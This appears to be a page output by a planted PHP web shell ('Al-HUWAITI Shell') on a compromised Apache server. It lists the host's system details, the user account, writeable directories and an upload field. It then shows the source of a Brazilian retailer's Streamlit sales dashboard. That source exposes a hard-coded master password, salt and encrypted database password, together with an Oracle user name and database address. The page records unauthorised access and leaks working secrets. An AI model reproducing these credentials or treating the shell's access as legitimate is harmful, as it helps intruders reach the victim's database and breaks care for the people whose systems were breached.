Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /home/grupo692/appstigrupobig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/grupo692/appstigrupobig/10Cia_Ilheus02.py
#GrupoBiG
#http://162.214.65.39:8510/
#nohup python3 -m streamlit run 10Cia_Ilheus02.py --server.port 8510 --server.address 0.0.0.0 > dashGrupoBiG.log 2>&1 &

import streamlit as st
import cx_Oracle
import pandas as pd
import datetime
from sqlalchemy import create_engine
import locale
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# ==============================
# CONFIGURAÇÃO DO APP
# ==============================
st.set_page_config(
    page_title="10&Cia Ilhéus Zona Sul",
    page_icon="🛒",
    layout="wide"
)

MASTER_PASSWORD = "MinhaSenhaMestra123!"
SALT = b"SaltFixo12345678"
ITERATIONS = 10000

# ==============================
# LOCALE / FORMATAÇÃO
# ==============================
try:
    locale.setlocale(locale.LC_ALL, 'pt_BR.UTF-8')
except locale.Error:
    locale.setlocale(locale.LC_ALL, 'C')

def formatar_moeda(valor):
    try:
        valor_formatado = "{:,.2f}".format(valor)
        valor_formatado = valor_formatado.replace(",", "X").replace(".", ",").replace("X", ".")
        return f"R$ {valor_formatado}"
    except ValueError:
        return f"R${valor:,.2f}"

# ==============================
# CRIPTOGRAFIA
# ==============================
def generate_key_iv():
    key_iv = PBKDF2(
        MASTER_PASSWORD.encode("utf-8"),
        SALT,
        dkLen=48,        # 32 bytes key + 16 bytes IV
        count=ITERATIONS
    )
    return key_iv[:32], key_iv[32:]

def decrypt(cipher_text: str) -> str:
    """Descriptografa texto Base64"""
    key, iv = generate_key_iv()
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(base64.b64decode(cipher_text))
    pad_len = decrypted[-1]
    text = decrypted[:-pad_len].decode("utf-8", errors="ignore")
    return text.lstrip("\ufeff")

# ==============================
# CONEXÃO BANCO
# ==============================
@st.cache_resource
def conectar_banco():
    try:
        encrypted_pass = "+ivGpR7n9D4zKHONh/3W2A=="  # senha criptografada
        _pass = decrypt(encrypted_pass)

        connection = cx_Oracle.connect(
            user="EDIUSER",
            password=_pass,
            dsn="187.109.221.38:1521/PROTON"
        )
        engine = create_engine(
            f'oracle+cx_oracle://EDIUSER:{_pass}@187.109.221.38:1521/PROTON'
        )
        return connection, engine
    except cx_Oracle.DatabaseError as e:
        st.error(f"Erro ao conectar com o banco de dados: {e}")
        st.stop()

connection, engine = conectar_banco()

# ==============================
# TÍTULO
# ==============================
st.markdown(
    "<h2 style='text-align: center; color: #2e7d32; margin-bottom: 10px;'>📊 Vendas - 10&Cia Ilhéus Zona Sul</h2>",
    unsafe_allow_html=True
)

# ==============================
# SELEÇÃO DE DATA (CENTRALIZADA)
# ==============================
col1, col2, col3 = st.columns([1,2,1])
with col2:
    data_escolhida = st.date_input(
        "Selecione a data",
        datetime.datetime.now().date(),
        format="DD/MM/YYYY",
        label_visibility="collapsed"  # remove o texto do label
    )

# ==============================
# CONSULTA
# ==============================
query = """
SELECT 
    COD_UND,
    UNIDADE,
    QNTD_PEDIDOS,
    VALOR_TOTAL,
    NVL(MTA_META, 0) AS MTA_META,
    NVL(MTA_BIG_META, 0) AS MTA_BIG_META
FROM
(
    SELECT
        TPED_UNIDADE_FK_PK AS cod_und,
        TUND_UNIDADE.TUND_FANTASIA AS unidade,
        SUM(QTD) AS qntd_pedidos, 
        SUM(TPED_VALOR_TOTAL_PEDIDO) AS valor_total,
        BIG_METAS.MTA_META,
        BIG_METAS.MTA_BIG_META
    FROM
        (
        SELECT
            TPED_PEDIDO_VENDA.TPED_UNIDADE_FK_PK,
            TPED_DATA_EMISSAO,
            COUNT(TPED_PEDIDO_VENDA.TPED_NUMERO_PEDIDO_PK) AS QTD,
            SUM(TPED_PEDIDO_VENDA.TPED_VALOR_TOTAL_PEDIDO) AS TPED_VALOR_TOTAL_PEDIDO
        FROM TPED_PEDIDO_VENDA
        WHERE TPED_PEDIDO_VENDA.TPED_UNIDADE_FK_PK = '23'
          AND TRUNC(TPED_PEDIDO_VENDA.TPED_DATA_EMISSAO) = TRUNC(:data_escolhida)
          AND TPED_STATUS_PEDIDO = 'MA'
          AND TPED_PEDIDO_VENDA.TPED_NATUREZA_MOVIMENTACAO = 'VM'
        GROUP BY TPED_UNIDADE_FK_PK, TPED_DATA_EMISSAO
        UNION ALL
        SELECT
            TPED_HISTORICO_VENDA.TPED_UNIDADE_FK_PK,
            TPED_DATA_EMISSAO,
            COUNT(TPED_HISTORICO_VENDA.TPED_NUMERO_PEDIDO_PK) AS QTD,
            SUM(TPED_HISTORICO_VENDA.TPED_VALOR_TOTAL_PEDIDO) AS TPED_VALOR_TOTAL_PEDIDO
        FROM TPED_HISTORICO_VENDA
        WHERE TPED_HISTORICO_VENDA.TPED_UNIDADE_FK_PK = '23'
          AND TRUNC(TPED_HISTORICO_VENDA.TPED_DATA_EMISSAO) = TRUNC(:data_escolhida)
          AND TPED_STATUS_PEDIDO = 'MA'
          AND TPED_HISTORICO_VENDA.TPED_NATUREZA_MOVIMENTACAO = 'VM'
        GROUP BY TPED_UNIDADE_FK_PK, TPED_DATA_EMISSAO
        )
        LEFT JOIN TUND_UNIDADE ON TUND_UNIDADE.TUND_UNIDADE_PK = TPED_UNIDADE_FK_PK
        LEFT JOIN DBAUSER.BIG_METAS ON DBAUSER.BIG_METAS.MTA_UNIDADE_FK_PK = TPED_UNIDADE_FK_PK 
            AND TO_CHAR(TRUNC(DBAUSER.BIG_METAS.MTA_MES_ANO, 'MM'), 'MMYYYY') = TO_CHAR(TRUNC(:data_escolhida, 'MM'), 'MMYYYY')
    GROUP BY
        TPED_UNIDADE_FK_PK,
        TUND_UNIDADE.TUND_FANTASIA, 
        BIG_METAS.MTA_META,
        BIG_METAS.MTA_BIG_META
)
"""

# ==============================
# ÁREA PRINCIPAL
# ==============================
if st.button("🔄 Atualizar", use_container_width=True):
    df = pd.read_sql(query, engine, params={"data_escolhida": data_escolhida})

    if df.empty:
        st.warning("Não há vendas registradas nesta data.")
    else:
        valor_total = df['valor_total'].sum()
        meta = df['mta_meta'].sum()
        big_meta = df['mta_big_meta'].sum()

        st.markdown(
            f"""
            <div style='text-align: center; padding: 20px; 
                        background-color: #f0f9f0; 
                        border-radius: 15px; 
                        box-shadow: 0 3px 8px rgba(0,0,0,0.1);
                        margin-top: 15px;'>
                <h3 style='color: #2e7d32; margin-bottom: 5px;'>💰 Total de Vendas</h3>
                <h1 style='font-size: 70px; color: #1b5e20; margin: 10px 0;'>{formatar_moeda(valor_total)}</h1>
                <p style='font-size: 18px; color: gray; margin-top: 0;'>
                    Meta: {formatar_moeda(meta)} | BigMeta: {formatar_moeda(big_meta)}
                </p>
            </div>
            """,
            unsafe_allow_html=True
        )

Al-HUWAITI Shell